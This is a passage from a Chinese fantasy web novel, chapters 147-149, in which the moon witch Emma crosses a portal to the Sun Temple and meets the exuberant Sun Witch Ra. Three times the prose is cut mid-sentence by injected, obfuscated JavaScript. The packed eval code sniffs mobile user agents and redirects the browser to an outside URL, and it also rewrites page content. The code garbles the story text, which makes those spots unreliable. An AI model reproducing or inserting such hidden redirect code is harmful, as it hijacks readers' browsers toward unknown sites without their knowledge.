“我并无贬低您的意思,也并不看轻自己,但我必须承认,现时现刻,这片大陆上最强的魔法师,应该是—— “位于赫克米洛斯的日神神殿中,那位如今在位的‘日神女巫’。” 147.拉 艾玛说:“赫克米洛斯离这里很远。” “是的。商队往来单程需要花上两年,即使有加速行动的法术,或者借助能飞行的异兽,也至少要数月——但那里是‘日神的神殿’。” “无论在哪里的神话,何处的传说中,日神与月神都被并列谈论。 “有人说祂们是姊妹兄弟,也有人说祂们是挚友宿敌,还有的说是夫妻。 “当然,性别长幼对祂们没有意义,但人类以自身的社会伦理比照,就不免引起信者间的争执。 “自神殿稳固,开始编撰神话之后,两座神殿为日神与月神的关系给出了统一定义:‘同源的双生子’。 “巧妙的解释,很让人信服,也不影响神话的编排。 “两座神殿间的关系一直稳固友善,双方的政体基本相同。 “曾经有过两边女巫同时在位的时期,据说她们相谈甚欢,棋逢对手,但各自国内有事务要忙,地理上又相距太远。为了能够经常见面,她们在两座神殿间建了一道‘传送门’。 “传送门是很复杂的法术,又极限制距离,两道门之间不能相距太远,更不要说两座神殿间有多少路途,确也只有女巫能有这样的手笔。 “两位女巫过世后,那道传送门就很少启用,留着作为双方友谊与互助的证明。两座神殿间的往来算外交事务,所以传送门交给神谕祭司管理。 “为了防止无关人士的滥用、误用及损耗,传送门被藏在神殿中,用法术隐蔽了通向门的那条廊道,只有携带相应魔法石的人可以找到位置。 “这样的魔法石,两座神殿中只有两块,交由双方的神谕祭司保管。 “如果不慎丢失,是很大的错处;如果损毁了——只能等神殿中有女巫,看她有没有心情修复。 “不过,好消息:上一位月神女巫曾经修复养护过传送门,之前的神谕祭司也保管得当,不曾将魔法石遗失损坏。” 利利提亚抬过手,从手环上的吊坠里翻过一枚暗金色的宝石:“现在它仍然随时能够启用。传送门一次只能通行一到三个人,但对您想必正好。 “如果您确有前往日神神殿的意向,我会先通过门上的传信装置向对面发出通知的信函,等待对方回复,确认好时间事宜,再请您过去。” 利利提亚想了想:“啊,我们的议会这边,您也通知一下就行。传送门随时可以往来,您有需要,可以在任何时候回来。 “只要带您走过一次那条路,即使无需指路的魔法石,女巫也能找到门的位置。” 艾玛思忖了片刻,说:“那就先问问对面,介不介意我去看看。” . “‘日神神殿’吗?”西里斯停顿了一下,点点头,“也好。那里现在既然有女巫……或许能起到什么帮助。” “你去过日神神殿吗?”艾玛好奇道。 “曾经去过一次。”西里斯合上手里的书,“没待多少时间就走了。那里太吵闹,不适合我。” 西里斯沉默了片刻,对艾玛道:“你着急离开阿瓦托芬,是因为我的事情给你造成的影响,让你在议会那边的立场很糟吗?” 艾玛眨了一下眼睛,回过神:“啊,不,没有。没事的,你不用担心。事情已经压下来了,你也没造成什么损害。” “他们的担心是正确的。” “但我了解你。”艾玛说,“只是这次的事对我也有所启发……我想换个环境,走走看看,或许能确认一些东西。我答应过会帮你解决问题。” 西里斯动了动目光,最终没说话。 “时间还没确定,要等对面回函,但大概就是近期。到时只有我和你过去,虽然随时可以回来,但大致会在那边住一阵子。你有什么顾虑,或者还有什么东西要准备?” “没有。”西里斯淡淡道,移开了视线,“什么时候都可以。” . 利利提亚带艾玛去找了一遍传送门的路,在主殿僻静处的一条长廊尽头,距离人流密集的办公中心并不远。 在那枚特定的指路魔法石的引导下,能清晰看见原本的廊道尽头处还有一个拐角。 走进拐角处,穹顶渐渐变高,开阔出一个厅堂。 厅里空旷沉寂,侧边墙上有着落进天光的窗,走进来一眼可见房间尽头,镶嵌在正中墙面上的传送门。 那门是椭圆形,底端的弧埋进地里。 此刻没有启动时,它诚实地倒映着站在它面前的人事物的影子,像一面大小适中的落地镜。 但周围勾勒出它轮廓的,是一块又一块的魔法石,密密麻麻地堆砌,像野兽斑斓的鳞羽,又或一只只眼睛,光泽诡谲,恍若盯着门前的人。 这么看确实有些吓人,如果在乎美观,在魔法石上盖一层镜框更好。 但显然历任女巫们不是审美特殊,就是只重功能性。将魔法石裸露在能直接看见的位置,有异常能更快发觉和排查。 而与这种简约相对,门边唯一看起来像装饰物的设计就很惹眼。 那是一个插入镜面的巨大号角,扩音口朝上,吹口那半截却紧贴着断裂处,又向镜外伸来,底端接着一个方形的金属篮子。 结合镜面的倒映与补全,就像是两支相交的号角穿过了镜面。 扩音口是投递口,本是吹口的位置却被提前切开,以留出更大的空间让投递物通行,顺利地落进底下的金属篮里。 此刻金属篮里盛着一片薄薄的纸张。 艾玛把那张纸拿起来,利利提亚手环上发亮的金色宝石也同时熄灭了。 这就是两座神殿间特殊的传信方式。 把信笺扔进号角的投递口,它会顺着落进传送门对面的收信篮,篮内一旦有物件,神谕祭司处的引路石就会发亮提醒。 纵使关系友善,两座神殿毕竟是两个独立政治个体,贸然使用传送门闯到对面多有风险,也非常失礼。 用这种方式寄信往来,比寻常传信鸟安全高效,也更礼貌客气。 利利提亚寄给对面的信函正式,装进信封,印上火漆,该有的礼数全部到位。 艾玛此时捡起的回函却只是一张信纸,折了两折就扔进信筒。 她展开信纸,信开头的字迹工整温雅,敬语全齐,措辞繁复且谨慎,规整的官方文件腔调。 大致内容是感谢贵方来信,得知贵方近来诸事顺利令人欣慰……这类谈天气般的寒暄。 关于贵殿女巫来访的要求,我方已慎重考虑,日神女巫殿下欣然应允,至于具体时间需要考虑近期事宜和准备工…… 那温雅的字迹到这里就截断了,最后半个字还没写完,显然被抢过了信纸。 在信纸剩下的半张空白里,只占满了一句话,字迹潦草,笔锋却惊人的凌厉,压过信纸前半满满当当的字符,仿佛要从纸面上跃出。 ——“随时欢迎”。 艾玛看了那字迹好一会儿,向利利提亚抬过头:“她是个怎么样的人?” . “在成为日神神殿的女巫,放弃姓氏之前,她的本名是‘菲尼克斯·拉’。贝努城邦的执政官家族,菲尼克斯家的小女儿。 “她自幼天赋过人。菲尼克斯家族在贝努很受爱戴,几乎显而易见,她会是下一任执政官。 “贝努城邦北与罗穆卢斯接壤,南与赫克米洛斯相邻,我曾听过她的事情。 “她刚满十二岁就能使用许多法术,很快被日神神殿发觉并确认,她就是新的日神女巫。 “此后她开始在神殿与母国间往来,十八岁时正式入主神殿,定下‘不战誓约’,放弃了原本的姓氏与在贝努的政治地位。 “但她与菲尼克斯家族仍然关系友善,时而会回母国访亲。贝努执政官的职位在三年前已由她长兄接任。 “现如今,她是日神神殿绝对的主导与中心,主祭司和议会都只是辅佐,无法干涉她的决定。赫克米洛斯在她治下繁荣兴旺,富有活力,民众都喜爱且敬仰她。” 艾玛哼嗯了一声:“真是公式化的介绍。” 利利提亚耸了下肩:“我只见过她一次,不是很熟,对她的了解基本是四处听来的。倒是跟那边的神谕祭司打过几次交道,那位人很不错呢。感觉很好欺负。” “如果你对她毫无感想,也不会推荐我去日神神殿走走。”艾玛说。 “‘感想’……是也有一些,但相当主观,对您没什么参考价值。等您见到她,会有自己的判断。至于我,实在要说的话,” 利利提亚笑了笑,“我和她合不来呢。” . . 艾玛为日神女巫写了回函,像是回应对方的简洁,也只写了一句确定的拜访时间,扔进了号角信筒。 对面没有再回复。 艾玛的时间写得很近,就在回信的两天之后。 这阵子待在阿瓦托芬实在没什么意思,她停掉了一切工作,不想跟议会照面,也懒得再去藏书室翻阅典籍。 跟西里斯的关系虽然缓和了不少,但待在一起时,他仍然话不多。 一切有种沉闷的凝滞感,却又透着一丝她还描述不清的松动。 像是她曾经决定要离开费拉约尔斯的前夕,在将那个决定宣之于口的某个时间之前。 这种预感总是对的。 艾玛想,她需要离开原地,出去走走。 . 在艾玛前往日神神殿那天,陪同她前往传送门的是荷尔贝拉。 利利提亚似乎是有意避开了和西里斯见面,艾玛不觉得他会为此尴尬,或许只能算是一种他惯常的微妙体贴。 启动传送门的方式,艾玛看一眼就会了。 她敲击传送门顶上的魔法石,叩响三次,仿佛敲门问候。 镜面般的反光在魔法石亮起的同时暗下,变成一块不倒映任何东西的、流动的平面。 艾玛向荷尔贝拉告了别,看了看西里斯,然后回身率先触碰平面,穿过了它。 穿过传送门之后,抵达的厅堂与刚刚离开的形制相似,只是有些装饰不同,一切都像是被传送门所分割而对称的两半。 日神神殿的传送门所置的厅堂中站着一位男子,棕色的短发卷曲,一双温润的同色眼睛。 他身上的长袍齐整,配饰组合在视觉上富有协调性。他手腕上的吊坠里,有一枚银色的宝石正在闪光。 他望见艾玛从传送门中走出来,却仍然只是礼貌地远观着,直到西里斯跟着艾玛走出,后面再没有人,传送门恢复了镜子般的反光,男人才走上前,向艾玛行了郑重的礼。 “欢迎您远道而来,月神女巫殿下。我是日神神殿的神谕祭司,吉尔伯特,您可以直接叫我的名字。” 吉尔伯特直起身,向厅门口邀请道:“请往这边走。” . “您到访突然,这么短的时间,我们来不及准备什么欢迎仪式,实在抱歉。”吉尔伯特措辞得体,语调真诚,歉意的分量适中。 艾玛想起那封只写了一半的信,那温雅的字迹也和面前人的形象联系了起来。 他也针对信函的事解释道:“上次那封信,实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733095|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是……太失礼了,我很抱歉。 “我们的女巫殿下看见我写回函,觉得‘太繁琐’,自己抢去写两笔就扔了信筒……我很抱歉。她向来是那种性子…… “收到您回复的时间之后,她说‘挺好的’,让我不用再回函。” 这个人从刚才开始就一直在道歉啊。艾玛想。 吉尔伯特脸上闪过一点尴尬:“今天也是,只有我一个来迎接您也太失礼…… “我们殿下说,‘如果是她要到月神神殿去,她不想一过传送门就看到很大的欢迎阵仗’,所以‘将心比心’,对您的欢迎也从简。 “但她本来,说好了,今天,会一起来接您的。” 说到最后一句,温和的吉尔伯特已经有点咬牙切齿。 “——常有的事,很抱歉,请不要介怀。” 他深吸气,稳固了自己的微笑,看来对自我调节与想开确实非常有心得,“她可能临时有什么急事,一时没能赶上约定的时间。 “她记性很好,不会真的忘记,忙完之后一定会立刻赶来的。” 吉尔伯特停顿一下:“但是,梅努——啊,我是想,约定好今天本该到场的那位监察骑士,居然也没来…… “或许是另外有什么任务……这也是常有的……请不要在意。” 他的眼神已经有点空了。 艾玛想,这个人的职场环境真的没有问题吗? . “哟,吉尔,客人已经到了吗?” 清亮的声音先于人影而至,气息稳定悠长,沾染着一点放松的轻快,飘飘像要跃出窗外。 吉尔伯特一听到这声音,显然松了口气,但这气还没顺完,他在看清来人的样子之后,又猛吸一口凉气:“您总算——您这是,怎么回事?” “这个?没什么,就是西区那座天体钟楼,顶上不是做了个不倒瓮吗?” 笑声一连串落下来,她话里每一个音节都在笑意里松动着,“——里面盛了好多小雕塑。结果那瓮倒了,小雕塑全撒下来,一大半掉进了钟楼旁边的泥地。” “那里哪有泥地?” “昨晚不是下了雨嘛!雕塑要是摔到地上就裂了,幸好摔进了泥潭里。一早上好多人去那里捞啊,我就去帮他们的忙了。” “那您也不至于——把自己弄成——”吉尔伯特吸气,呼气,扶额,“您明明有法术!” “但这样好玩呀。”她笑着说,“放松点,吉尔。” . 脚步声一下,一下,带着泥点,踩在神殿洁净的石砖地面上,留下一个个不均匀的脚印。 她赤着双脚,裙摆因为不便活动被撕开,卷到腰上系一个蓬松的活结。 她随手抽开结,破碎的衣料在风里翻动。 泥浆裹满她的双腿,浸了她大半身衣裙与长发,溅起的甚至落到脸颊头顶,她满不在乎地用沾满泥浆的手撩开脸边阻碍视线的发丝。 她的手指穿过长发,泥浆在她指间开始剥落。 当她手指滑到发尾松开,那金色的长发已如刚刚被清水梳洗后吹干,羽毛似的发尾轻飘飘落下来。 她每往前一步,泥与灰便从她身上消退一分。 艾玛对上了她的眼睛。 ——金绿色的眼睛。 璀璨明亮,生机灼灼。 无数个微小的光点在她眼中翻涌,像不平整的流动矿石切面,在光线里折射出无数种细小的色彩。 那些繁复的颜色被那片金绿全部盖住,融洽地蕴含其中。 她非常漂亮。 艾玛对这一点却有些后知后觉。 因为看见拉的第一眼,人第一时间会意识到的不是她的美丽,而是她“存在于这里”。 那张扬的、过度的、不容置疑的存在感,绝对的自信和与之伴生的轻松,只是出现就必定夺走所有人的目光与注意。 迫使人屏住呼吸,倾听她,就像猎物天然畏惧猎手。 艾玛联想到上一个让她作此感慨的利利提亚。 利利提亚的漂亮是静态的,锋芒内敛,温和的表象外隐隐透出令人心惊的内在,因而分不清使人心率变快的是恐惧,还是糅杂着其他吸引力的神秘。 他知道自己的美丽,并擅长利用这份外表上的优势为自己谋求益处。 而拉毫不隐藏,她的锋利与耀眼全然外露,不为担心刺伤任何人收敛一分。 她的美是流动的,在她呼吸间,在她动作里,与蓬勃的生命力一同自然舒展,不作掩藏,不刻意展示。她知道自己的美丽却全不在意,任何特质都只是她的一部分。 她对上了艾玛的眼睛。 当她走到艾玛面前时,法术已将她全身的打扮焕然一新,是套面见外宾也算得上得宜的服装。 拉最后打一个响指,给自己换了一双平跟鞋。 “你好,我是日神神殿的女巫,你可以叫我‘拉’。”她盯着艾玛,问,“你叫什么名字?” “你好,初次见面。”艾玛简单地介绍,“你可以叫我‘艾玛’。” “‘艾玛’。”拉眨了一下眼睛,咀嚼这个名字。 在在场任何人都没有反应过来的时刻,拉突然抓住了艾玛的手,向前一步,两人交握的双手抵在胸前,贴得很近,艾玛能望见近处她闪闪发亮的眼睛。 拉望着她,声音里满含热情与喜悦,激动地说:“我对你一见钟情了!” 西里斯听到身边的吉尔伯特倒吸了一口巨大的冷气,闭上眼睛,退开一步,熟练地捂住了自己的腹部:“胃好痛……” 148.初见 艾玛眨了一下眼睛。 艾玛眨了两下眼睛。 艾玛说:“嗯。” “啊——真可爱!”拉感慨,“之前听说了月神神殿有新女巫的事,但是你们那边还没有举行誓约礼,我不好提前过问。要是知道你这么可爱,我一定早就去见你了!真高兴! “你刚到神殿,还没去城里看过吧,我带你去逛逛!” “停一下,等一等,我觉得事情还可以抢救一下。” 吉尔伯特虚弱地抓住了拉的肩膀。 拉奇怪地看他一眼:“怎么了,吉尔,你看起来脸色不太好,要去医务室吗?” 吉尔伯特苍白地对艾玛解释:“我想拉殿下不是那个意思,我是说,她用词比较……您是想说‘一见如故’,对吗?” 他期待地望着拉,拉思考了三秒:“不,‘一见如故’这个词太轻了,我没用错。” 抢救失败,吉尔伯特闭上了眼睛。 人还在这里,但精神感觉走了有一会儿了。 被这么一打岔,差点直接走了的拉注意到这里还有个人。 她一看见西里斯,目光又定在了他身上。 被那双金绿色的眼睛凝视时的压力非比寻常,但西里斯没有避开她的目光。 拉直直地望着他,片刻沉默后毫无征兆地开口:“‘诅咒’。” 她歪过头,按了按嘴唇:“很复杂,要解开相当困难。” 说完这句,她那仿佛透过西里斯打量他内部的目光才落到他躯体上,扬了下眉毛:“古老的外壳,心却很年轻。不错嘛,你。” 拉转头望向艾玛,指了指西里斯:“这是你男朋友吗?眼光挺好。” 她又牵起艾玛的手,说着就要往外面走:“看起来不着急,就先这样吧。艾玛,你有什么特别想吃的,或者想看的吗?晚上我们一起睡吧!” “等一下等一下等一下。”吉尔伯特醒了,吉尔伯特又崩溃了。 拉还算是给自家神谕祭司面子,好歹站住了,露出一个“拿你没办法”“又怎么了”的表情。 “这跟说好的不一样,怎么……不,再怎么说都太失礼了啊!您和月神女巫殿下才刚见面!” “我的床很宽诶。”拉说。 “日神神殿里很多客房,而且哪有当着对方恋人的面说要和她一起睡这种事啊!” “因为我想。我不关心。”拉说。 吉尔伯特被打出了六点沉默的省略号,重伤失语。 西里斯拍了拍他的背。 拉已经忽略了这场寻常的胜利,亲切地挽着艾玛的手走了。 艾玛离开前向西里斯挥了挥手,西里斯也挥了手回应。 他在原地站着等了一会儿,日常习惯了这个抗压强度的吉尔伯特果然逐渐恢复了形状,揉了揉脸,对西里斯抱歉道:“对不起,你……您……” “不用敬语。”西里斯说。 吉尔伯特点头:“给你添麻烦了……但是你放心,拉殿下她就是一直这样,我想她只是见到月神女巫殿下觉得很亲切,没有别的意思,毕竟她……我想,应该没有,她应该,不至于。” 这个人说着说着自己开始动摇起来了。西里斯想。 “没关系。艾玛如果反感她的行为,会主动拒绝的。”西里斯说。 吉尔伯特又深呼吸了一次:“谢谢……抱歉,殿下她平时就是那种异想天开、心血来潮、毫无定性的人,我也猜不到她的想法。” 西里斯嗯了一声,没有表情:“日神女巫就是这样。我知道。” . “欸——那就是说,艾玛你只比我大一岁!”拉惊讶道,“我的生日在四月十九,日期跟你也算很接近。” 艾玛嗯一声,望着她在走动里轻飘飘扬起来的、羽毛般的发尾。 “我们第一次见面,”艾玛望向她,又像对自己说,“但我就像早就认识你。” 拉笑了下,又捏了捏自己的脸:“虽然不想相信祂们的论调——但真不甘心,我一见到你就喜欢你。 “日神和月神个性迥异,但在某种意义上,祂们确实是‘双生子’。 “虽然有种输给本能的感觉……但心情实在很好!” 她们经过长廊墙面上一扇又一扇门一般的窗,拉推开了其中一扇,对艾玛说:“底下人太多,我们从屋顶走吧!” 拉看起来很熟练,大约这是她常走的路。 时间近正午,高低错落的屋顶上均匀地铺着烈烈日光。 拉招一招手,从她们头顶的屋檐边伸来一片厚厚的云,像一顶高高撑起的伞。 从窗口到最近的屋顶,从屋顶到另一个屋顶之间都有大大小小的空隙,拉牵着她往空气里走,每一步都像踩在稳固的台阶上。 拉的脚步轻盈敏捷,那顶跟着她们走的云却时不时走神般迟几拍才到头顶,看来她并不习惯这样的“撑伞”方法。 有时她们完全露在日光下,艾玛在光线的变化里不时眯起眼睛。 她落后拉一步,看见她发尾滞空,顺着重力下坠比常人缓慢。 艾玛捞起那金色羽毛般的尾巴,看发丝在阳光下反光:“你的头发。” 拉侧目看了她一眼,在艾玛搓动她发丝时呵呵地笑:“‘菲尼克斯’在神话里,是满身火焰的‘不死之鸟’。我的家族有这支神兽的血脉。” 艾玛说:“像羽毛一样。” “要是它们真能当翅膀飞就好了。可惜神兽早已绝迹,到我们现今的时代,这点遗留的血脉特质只能当个象征纪念。” 拉晃了晃脑袋,“纯金色太单调,但我的头发不适合染料固色,每次染过发一洗就洗没了。” “现在也很漂亮啊。”艾玛手指卷着她发尾画圈,松手时圆圈还留在空中。 “有时候为了换个心情,找点新鲜感。你喜欢我这样的话,最近就不染了。”拉哼哼道,“快中午了,想吃点什么吗?” “我不太饿。”艾玛说。 “那,我有个特殊的游览路线——”拉向她亮起眼睛,“先看看赫克米洛斯的‘建造区’!” . 赫克米洛斯的中心是神殿,神殿外是居民区,“建造区”在居民区以外,几乎在城市外缘。 拉从神殿某处房间捡了个传送门带艾玛过去,看守的守卫向她行礼,拉却没有回应哪怕视线,反倒是艾玛忍不住看了守卫两眼。 守卫直起身后仍然镇定地平视空气,看来习以为常。 传送到“建造区”附近,拉继续熟门熟路地带艾玛蹦上了屋顶,挥一挥手向她展现此地最好的视野。 阳光下的建筑群姿态各异,有的高耸,有的圆矮,繁复和简约,美观和功用的设计错落交杂,一眼望去令人目不暇接,但震惊之余也令人困惑,看不出这些奇异建筑的排布规律与意义。 此刻还在工作时间,建筑群中声音嘈杂,钉锤雕凿塑材,清水洗刷物件,还有人们走动叫喊的声响密密地重叠。 突然有一处的工人喊了些什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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艾玛观察了工匠们的工作一会儿,其中确有许多是在用魔法工作,也有同一件作品由复数的魔法师同时施工,效率非常突出。 “‘建造区’是我来到赫克米洛斯不久后设立的。这是我那些‘只有在这里才能实现’的构想之一。 “这里的一切都可以如我所愿,顺应我所有的变化和欲望,像它本该如此。 “对女巫来说,没有比这更好的理想之地。” 拉望向她:“我以为阿瓦托芬对你也一样。我听说你到那里是半年前的事,它这么快让你腻烦了吗?” 艾玛看着底下叮叮哐哐的热闹场面,没有规律的嘈杂音节重叠碰撞,四散弹开。 工匠们的表情大都轻松喜悦,许多专心致志地忙碌着,眼里亮着兴奋的光。 艾玛说:“只是有点不确定,该不该留在那里。也一时不知道自己想做什么。” 她垂着眼睛,感到鬓边的长发被梳开了,拉伸手拨开了那些散乱的发丝,说:“你有答案。” 拉平静地陈述:“如果不是有其他执着的事,选择阿瓦托芬对你不需要理由。” 艾玛望了她一眼,目光又低回去了。 拉又抓过她的手,转一个向带着艾玛往回走:“烦心事暂停!你刚到赫克米洛斯,能看的新东西还有好多呢,先逛一圈。 “我们往城里走,等会儿就能看见那些在建造区检验过才装在城内的设计,我讲给你听。” 149.闲谈 城区内热闹,就连屋顶也没那么空旷。 拉带着她走过屋顶时,艾玛在同一个平面上看见过装修工匠,巡逻的神殿守卫,还有单纯在屋顶上晒太阳的居民。 所有人都认得拉。 但她注意力全放在艾玛身上,经过时并没跟人打招呼。 她向艾玛讲解城区中一个个的屋楼建筑来历:有的造型奇异,一眼就能看到;有的却很平常地隐蔽在市区中,不是拉特意点出,肯定不会想到背后另有一段故事。 拉讲着讲着心情高昂起来,一高兴就上去把某个会喷水的、会发光的、会唱歌扭动的装置打开了。 可其中部分不是公共设施,突然开启反而惹周围人惊一跳。 有年轻的神殿守卫神色严肃匆匆而来,还没飞上屋顶就被眼神好的前辈逮回去了。 拉全没在意这些,向艾玛比划时的眼神闪闪发光,暂作休息停下话时也在哼歌。 她比划的时候空了双手,一要移动又很自然地把艾玛手牵上,似是决心不让她有一点掉队的机会。 渐渐像被她叙述的声音盖过了那些繁杂的思考,艾玛跟上了拉的介绍节奏。 太阳晒得皮肤发烫,从相握的手中淌出来的血流,流经他处血管时带一点近刺痛的热意。 手心里的汗水潮湿,胸口沉重的东西却在那明快的音色和不停歇的走动中轻盈了。 讲到中途大约口干,拉用法术从屋檐搭一个滑梯带艾玛站着溜下去,混进街区里买吃吃喝喝的东西,为省麻烦在身上加了不容易被认出的法术,这让艾玛感觉有些熟悉。 拉并没问艾玛累没累,默认女巫的体质绝不是这点活动就乏了的程度。 艾玛也确实不容易疲劳,不如说,到达某个时期之后,连饥饿感都有显著的消退。 艾玛猜拉也差不多,点那些餐食并不是急需补充能量,可能更多是嘴馋和习惯。 吃完东西,拉的话题转了个弯:“我就是在设置建造区的时候遇到的吉尔——吉尔伯特,我的神谕祭司。你见过他了。” “嗯。”艾玛想,印象深刻。 “我十二岁的时候被确认为日神女巫,一开始只是想来日神神殿玩玩。 “赫克米洛斯拒绝非必要外交访问,我难得有理由,正好想看看。 “我的母国贝努城邦离赫克米洛斯近,一来一回不花多少时间,后来觉得神殿好玩,就两边串着待。 “‘建造区’是在我——大概十五六岁开始做的。 “那时虽然还不是正式的神殿女巫,但议会看出我有留下的意思,就由着我搞了。算是示好。日神女巫的身份在这种遍地信徒的地方没什么多的阻力。 “吉尔是赫克米洛斯的原住民。说起来,他家很有意思。 “阿瓦托芬的婚姻制度和我们这边差不多,总之,因为结婚的人少,冲动恋爱的人多,很多人生了孩子不愿意抚育,就把孩子送到了教堂——那边有专门负责收养教育弃儿的部门。 “与之相对,也有不想生孩子但是想养的。参考居民信用贡献度等方面的数据后,确认对方有能力与责任心养育的,可以从教堂领养孩子。 “经济上能不能负担得起是一个方面,大部分人也没有养太多孩子的心力。但吉尔的养母非常喜欢孩子。 “她是个作曲家,在赫克米洛斯小有名气,收入足够,性情开朗稳定,在教堂那边评定很好,所以前前后后,包括吉尔——她一共领养了五个孩子。” “哇。”艾玛表示感叹。 “吉尔是那五个孩子里年龄最大的。他本来就性格板正,很有责任心,习惯了替母亲照顾弟弟妹妹。 “那位作曲家女士在生活里实际有点缺乏常识,过于天真浪漫,反而是吉尔不能对她放心,最后不知不觉他变成了全家的监护人。 “建造区刚启动的时候我也有点手忙脚乱,但即使在最混乱的时候,吉尔做事都有条不紊,补救迅速。 “这样的冷静和应对能力,加上诚实懂事的性格也很不错,我一下子就看上他了。”拉扬起眉,明快地讲道,“我当时想,要是不留在赫克米洛斯,我也要把这人挖走。” “神谕祭司是女巫的助手,需要处理大量神殿核心事务。如果放给信不过的人,将来的隐患和麻烦很多。 “吉尔的能力和性情都正好这个位置,我没选错,至今为止,他都没让我失望。” 拉敲了敲手指:“阿瓦托芬的主祭司和议会成员选定,很大比例上会参考‘指月石’。赫克米洛斯没有这样的东西。 “日神女巫在位时期,女巫有全部职位的任免权;不在的时候,他们就自己根据能力资历组织选举。 “外交礼仪的部分我不怎么管,之前和月神神殿的往来问候都是吉尔处理。 “你们那边现在的神谕祭司,我记得……是那个‘尤利乌斯·利提亚’。” 艾玛说:“你认得他?” “那样的人,见过一次就忘不掉了啊!”拉大笑,“不过看着有趣是一回事,让他当助手,怎么想都没法让人放心。因为还没举行誓约礼,没得到能开除他的正当权力吗?” “不完全是。”艾玛停顿一下,“大体上,他当神谕祭司还挺省心的。” “哈哈,不愧是艾玛。你觉得没问题,那就没事。”拉笑道,“你也可以转告他,如果他哪一天打算回罗穆卢斯,我会打开赫克米洛斯所有的门为他让道。” “你很期待?”艾玛问。 “因为是跟我毫无关系的‘命运’。预见了它的结果,但不知它会以什么方式落下。” 拉轻松地说,“有幸亲眼见证一段历史的结尾,不还挺让人兴奋的吗。” 艾玛模糊地嗯了一声:“你对历史很了解?” 拉耸肩:“我对太早以前的发生的事兴趣不大,倒是我有个哥哥很喜欢历史。你要是有这方面的问题,直接问月神来得更快。” “我没有想好。”艾玛说。 “看起来困惑很多啊。”拉说。 拉停顿一下,慢慢道:“根据我的了解,日神女巫愿意留在神殿的概率较高,其中许多一生致力于赫克米洛斯的管理建设。 “而月神女巫即使举行过誓约礼,也少有终生留在阿瓦托芬的,似乎待了十几年几十年,就又离开神殿去旅行了。所以为了填补她们长时间不在神殿的空白,才设置了‘指月石’。 “我并不能理解,我不是你们。 “但我想,就是因为有很多神也不能回答的困惑,才必须去别处寻找答案。这对你们是很正常的。” 艾玛的眼睫动了动。 拉回忆一下,很遗憾地道:“我是日神神殿的第十二任女巫,如果艾玛你留在月神神殿,会是那边的第九任。数字不能对称,有点可惜。” “有点可惜。”艾玛说。 拉遂一拍手:“那到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740675|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候把你那边的数字改成十二就好了!” “还是尊重历史吧。” . 她们在赫克米洛斯的城区转了一天,快入夜才回到神殿。 就像拉之前所说,她的床确实很宽敞。 拉的房间也在神殿正中,跟艾玛在月神神殿的房间位置差不多,但房间内的布置截然不同。 整个房间地面都铺满地毯,没有一丝缝隙,拉进门就扔了鞋在毯面上走来走去。 没有书架,靠墙的角落才能找到一张书桌,上面堆着一叠叠书卷,没有积灰,看起来全是近期使用的。 笔筒里半空着,各类文具随便撒在桌面上,有的滚到了地面。 有一张沙发、一只茶几、两把靠椅,但上面全都随机搭着东西,衣物、披巾、毯子,还有各种乱七八糟的玩意儿。 艾玛路过扫一眼,看见几束干花、不规则的石块、半拼组的模型,等等等等。 她从沙发上乱扔的书中捡起一本倒扣着的,故事停留在主人公刚刚离开家乡,大约从开头只翻了二十页。 转了半圈下来,艾玛了解到,拉的房间里确实收藏丰富。 她眼光很好,随意乱扔的东西处处是惊喜,使得房间像片神秘的藏宝地。 不收拾房间并不是好习惯,混乱的环境会让人在需要使用什么东西的时候找不到它们的所在,没有条理的房间布置是主人缺乏计划性和管理能力的体现。 艾玛一般会这么评价。 但这是拉的房间。她不可能有找不到东西的时候。 拉拿取每一件需要的东西都动作精准,没有一点不确定目标物品所在方位的犹豫和茫然。 那份自然和肯定,就像房间里的东西是整整齐齐在架子上排开那样清晰可查的。 或许是女巫的直觉。或许因为她是拉。 艾玛想,总之是别人学不来的方法。 拉牵过艾玛,转一个圈,拽着她倒到了床上。 她的手指穿过艾玛的长发,滑行到发尾松开,艾玛感知到一阵仿佛水波般温热柔和的流动从身上淌过,卷走了体表的脏污和尘垢。 虽然在刚见面时,拉已经展现过一次。 清洁的法术说起来简单,却因为太过细微而要求很高的觉知与控制能力。 替他人清洁更比为自己清洁困难,而拉整个力道都控制得很好,艾玛没有感到任何不适。 拉又用法术抓来一件睡衣,照着艾玛的尺寸现场比比划划改了几下,直接进行了款式设计层面的修改。 她对成果很满意,认为与艾玛相配。 在许多人眼中等同于“无中生有”的法术,实际是另一种形式的“物质重构”。 要做到这点,必须对分解的物质和构建的物质结构都有足够掌握。 拉充分运用了自己作为女巫所具有的才能与感受力,在分解重构的法术上已经出神入化。 “使用法术简单得如同呼吸”,艾玛真正在她身上体会到了这样的感觉。 将洗漱收拾都用法术一瞬带过之后,拉坐到床上,拍了拍手:“好了,现在只有我们两个人,我的房间非常安全。有什么不想被别人听见的话,现在都可以放心说了哦。” 艾玛盯着她,半晌说:“你真厉害啊。” 